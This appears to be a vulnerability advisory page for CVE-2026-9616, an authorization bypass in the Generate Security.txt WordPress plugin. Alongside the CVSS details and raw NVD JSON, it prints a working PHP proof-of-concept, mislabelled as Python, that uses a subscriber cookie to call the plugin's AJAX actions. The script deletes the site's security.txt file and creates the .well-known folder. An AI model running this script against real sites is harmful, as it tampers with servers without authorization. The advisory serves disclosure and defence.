Security Vulnerability Report
中文
CVE-2026-9616 CVSS 4.3 MEDIUM

CVE-2026-9616

Published: 2026-06-24 07:16:30
Last Modified: 2026-06-25 13:26:12

Description

The Generate Security.txt plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.0.12. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete the site's security.txt file from the server filesystem or create the .well-known directory by directly invoking the delete_securitytxt or create_wellknown_folder AJAX actions.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Generate Security.txt Plugin <= 1.0.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2026-9616 PoC - Generate Security.txt Authorization Bypass * This PoC demonstrates how an authenticated subscriber-level user * can exploit the missing authorization check in the * delete_securitytxt AJAX action to remove the site's security.txt file. */ // Target site URL $target_url = 'https://target-wordpress-site.com'; // Authenticated subscriber cookie (obtained after logging in as a subscriber) $cookie = 'wordpress_logged_in_xxxxxxxxxxxxx=yyyyyyyyyyyyy'; // Step 1: Delete the security.txt file via unauthorized AJAX action $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'delete_securitytxt' ])); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Cookie: ' . $cookie, 'Content-Type: application/x-www-form-urlencoded', 'X-Requested-With: XMLHttpRequest' ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "Delete security.txt response (HTTP {$http_code}): {$response}\n"; // Step 2: Create the .well-known directory via unauthorized AJAX action $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'create_wellknown_folder' ])); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Cookie: ' . $cookie, 'Content-Type: application/x-www-form-urlencoded', 'X-Requested-With: XMLHttpRequest' ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "Create .well-known folder response (HTTP {$http_code}): {$response}\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9616", "sourceIdentifier": "[email protected]", "published": "2026-06-24T07:16:29.730", "lastModified": "2026-06-25T13:26:11.740", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Generate Security.txt plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.0.12. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete the site's security.txt file from the server filesystem or create the .well-known directory by directly invoking the delete_securitytxt or create_wellknown_folder AJAX actions."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "verenigingvanregistrars", "product": "Generate Security.txt", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "1.0.12", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-24T19:42:08.108463Z", "id": "CVE-2026-9616", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/generate-security-txt/tags/1.0.11/admin/class-generate-security-txt-admin.php#L174", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generate-security-txt/tags/1.0.11/admin/class-generate-security-txt-admin.php#L1930", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generate-security-txt/tags/1.0.11/admin/class-generate-security-txt-admin.php#L1963", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generate-security-txt/tags/1.0.12/admin/class-generate-security-txt-admin.php#L174", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generate-security-txt/tags/1.0.12/admin/class-generate-security-txt-admin.php#L1930", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generate-security-txt/tags/1.0.12/admin/class-generate-security-txt-admin.php#L1963", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b8d88cc2-91e4-4e53-8c46-93d6ce8bc320?source=cve", "source": "[email protected]"}]}}